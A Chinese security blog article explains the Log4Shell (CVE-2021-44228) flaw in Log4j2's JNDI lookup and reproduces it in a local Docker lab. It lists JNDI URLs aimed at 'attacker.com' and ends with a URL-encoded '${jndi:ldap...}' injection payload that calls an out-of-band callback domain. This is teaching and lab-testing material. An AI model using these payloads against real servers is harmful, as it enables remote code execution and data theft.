
免责声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

漏洞描述
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228,俗称 Log4Shell) 是 Java 生态中影响极广的“核弹级”漏洞,CVSS 评分为 10.0(满分)。该漏洞因 Log4j2 日志框架的 JNDI(Java 命名和目录接口)解析缺陷导致,攻击者可通过构造恶意日志内容,实现远程代码执行(RCE),直接获取服务器权限

漏洞触发流程


漏洞描述
Log4j2 漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4请求远程主机上的含有恶意代码的资源并执行其中的代码。
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

Lookup功能
Log4j2的Lookup功能是用于在配置文件中添加值的一种方法,允许你在log4j2.xml中获取项目工程中的变量。通过使用{占位符}语法,你可以在配置文件的任意位置插入变量的值。这个功能使得Log4j2更加灵活,可以根据项目的具体需求进行配置。例如,你可以使用{sys:my.property}来引用系统属性中的“my.property”值。Log4j2将会使用Lookup函数从系统属性中查找该属性的值,并将其替换为实际值。这种机制使得Log4j2可以根据环境变量、系统属性或其他外部配置来动态调整日志行为。

JNDI
JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

常见的JNDI URL格式
rmi://localhost:1099/MyRemoteObject
ldap://attacker.com:1389/evilObject
dns://attacker.com/evilObject
iiop://localhost:900/MyObject整个JNDI注入的关键点是 javax.naming.Context.lookup() 方法。当JNDI的Provider URL可控时,攻击者可以传入恶意的远程地址,触发以下流程:


漏洞复现
环境搭建
在docker中搭建靶场
拉取镜像
for mirror in dockerproxy.net docker.m.daocloud.io docker.1panel.live hub-mirror.c.163.com docker.mirrors.ustc.edu.cn; do
echo "==> Trying $mirror"
docker pull $mirror/vulfocus/log4j2-cve-2021-44228 && {
docker tag $mirror/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228
echo "Success with $mirror"
break
}
done
重新打标签
docker tag dockerproxy.net/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228:latest验证:
docker images | grep log4j2
先查看镜像暴露的端口
docker inspect vulfocus/log4j2-cve-2021-44228:latest | grep -A 10 ExposedPorts
启动容器
docker run -d --name log4j2-test -p 8080:8080 vulfocus/log4j2-cve-2021-44228:latest
查看容器日志,确认启动状态
docker logs -f log4j2-test
访问漏洞环境
http://localhost:8080
利用yakit平台获取一个域名,将数据外带出来

构造payload
${jndi://ldap://xvbugdbbsd.iyhc.eu.org}对URL进行编码处理

进行payload构造
localhost:8080/hello?payload=%24%7Bjndi%3A%2F%2Fldap%3A%2F%2Fxvbugdbbsd.iyhc.eu.org%7D